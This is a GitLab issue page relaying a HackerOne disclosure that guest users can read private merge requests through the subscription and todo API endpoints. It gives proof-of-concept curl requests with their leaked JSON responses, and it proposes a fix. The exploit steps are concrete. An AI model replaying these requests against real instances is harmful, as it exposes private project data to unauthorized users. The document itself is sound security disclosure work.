Skip to content
GitLab Next
  • Menu
Projects Groups Snippets
  • Help
    • Help
    • Support
    • Community forum
    • Submit feedback
    • Contribute to GitLab
  • Sign in / Register
  • GitLab FOSS GitLab FOSS
  • Project information
    • Project information
    • Activity
    • Labels
    • Members
  • Repository
    • Repository
    • Files
    • Commits
    • Branches
    • Tags
    • Contributors
    • Graph
    • Compare
    • Locked Files
  • Issues 0
    • Issues 0
    • List
    • Boards
    • Service Desk
    • Milestones
    • Iterations
    • Requirements
  • Merge requests 1
    • Merge requests 1
  • Deployments
    • Deployments
    • Environments
    • Releases
  • Packages & Registries
    • Packages & Registries
    • Package Registry
    • Container Registry
    • Infrastructure Registry
  • Monitor
    • Monitor
    • Metrics
    • Incidents
  • Analytics
    • Analytics
    • Value stream
    • Code review
    • Insights
    • Issue
    • Repository
  • Snippets
    • Snippets
  • Activity
  • Graph
  • Create a new issue
  • Commits
  • Issue Boards
Collapse sidebar
  • GitLab.org
  • GitLab FOSSGitLab FOSS
  • Issues
  • #26249
Closed
Open
Created Jan 02, 2017 by Brian Neel@briannContributor

HackerOne reported issue: Users with guest access can access private merge requests

Jobert from HackerOne reported the following issue: https://hackerone.com/reports/195134

Vulnerability details

A guest user to a private group, cannot access a project's merge requests. However, through the subscription API, an attacker can (un)subscribe itself to a merge request, revealing private information that shouldn't be accessible.

Impact

Merge request might contain private information that the repository owner does not want to reveal to guest access users.

Proof of concept

  1. As a group / project owner, invite someone with guest access
  2. As the same user, create a merge request - this MR is not accessible by users with guest access
  3. Accept the invitation as a new user and create an API token for your account
  4. Now send a POST request to the subscription API with a reference to the MR:

Request

curl -X POST -H "Private-Token: XXXX" http://gitlab-instance/api/v3/projects/1/merge_requests/1/subscription

Response

{
  "id": 2,
  "iid": 2,
  "project_id": 1,
  "title": "<title>",
  "description": "<description>",
  "state": "opened",
  "created_at": "2017-01-01T19:55:03.121Z",
  "updated_at": "2017-01-01T19:55:03.121Z",
  "target_branch": "master",
  "source_branch": "dev",
  "upvotes": 0,
  "downvotes": 0,
  "author": {
    "name": "XXX",
    "username": "XXX",
    "id": 1,
    "state": "active",
    "avatar_url": "...",
    "web_url": "..."
  },
  "assignee": null,
  "source_project_id": 2,
  "target_project_id": 2,
  "labels": [

  ],
  "work_in_progress": false,
  "milestone": null,
  "merge_when_build_succeeds": false,
  "merge_status": "can_be_merged",
  "sha": "c60a6c2312c184942b19c1828abb3d65e66c01c7",
  "merge_commit_sha": null,
  "subscribed": true,
  "user_notes_count": 0,
  "approvals_before_merge": null,
  "should_remove_source_branch": null,
  "force_remove_source_branch": false,
  "web_url": "..."
}

You'll notice that when requesting the MR directly, the server will return a 403.

Request

curl -X GET -H "Private-Token: XXXX" http://gitlab-instance/api/v3/projects/1/merge_requests/2

Response

{"message":"403 Forbidden"}

Remediation

Use the appropriate finder in the lib/api/subscriptions.rb on line 6 and 7 instead of calling find directly on the merge_requests relationship. This will scope the available merge requests to the ones that the user can subscribe to.


He also added:

There's another endpoint that reveals this information: when sending a POST request to /api/v3/projects/:id/merge_requests/:id/todo, the MR object will be returned. Just reporting this in a single report because the same code pattern as reported earlier in this report is applicable here. Here's a request and response to proof the vulnerability. Repeat step 1, 2, and 3 in the report description.

Request

curl -X POST -H "Private-Token: XXXX" http://gitlab-instance/api/v3/projects/1/merge_requests/2/todo

Response

{
  "id": 1,
  "project": {
    "id": 1,
    "http_url_to_repo": "...",
    "web_url": "...",
    "name": "test",
    "name_with_namespace": "test / test",
    "path": "test",
    "path_with_namespace": "test/test"
  },
  "author": {
    "name": "Jobert Abma",
    "username": "jobertabma",
    "id": 1,
    "state": "active",
    "avatar_url": "...",
    "web_url": "..."
  },
  "action_name": "marked",
  "target_type": "MergeRequest",
  "target": {
    "id": 2,
    "iid": 2,
    "project_id": 1,
    "title": "<title>",
    "description": "<description>",
    "state": "opened",
    "created_at": "2017-01-01T19:55:03.121Z",
    "updated_at": "2017-01-01T20:16:22.331Z",
    "target_branch": "master",
    "source_branch": "dev",
    "upvotes": 0,
    "downvotes": 0,
    "author": {
      "name": "JA",
      "username": "root",
      "id": 1,
      "state": "active",
      "avatar_url": "...",
      "web_url": "..."
    },
    "assignee": null,
    "source_project_id": 1,
    "target_project_id": 1,
    "labels": [

    ],
    "work_in_progress": false,
    "milestone": null,
    "merge_when_build_succeeds": false,
    "merge_status": "can_be_merged",
    "sha": "c60a6c2312c184942b19c1828abb3d65e66c01c7",
    "merge_commit_sha": null,
    "subscribed": false,
    "user_notes_count": 1,
    "approvals_before_merge": null,
    "should_remove_source_branch": null,
    "force_remove_source_branch": false,
    "web_url": "..."
  },
  "target_url": "...",
  "body": "<title>",
  "state": "pending",
  "created_at": "2017-01-01T20:16:22.324Z"
}
Assignee
Assign to
Time tracking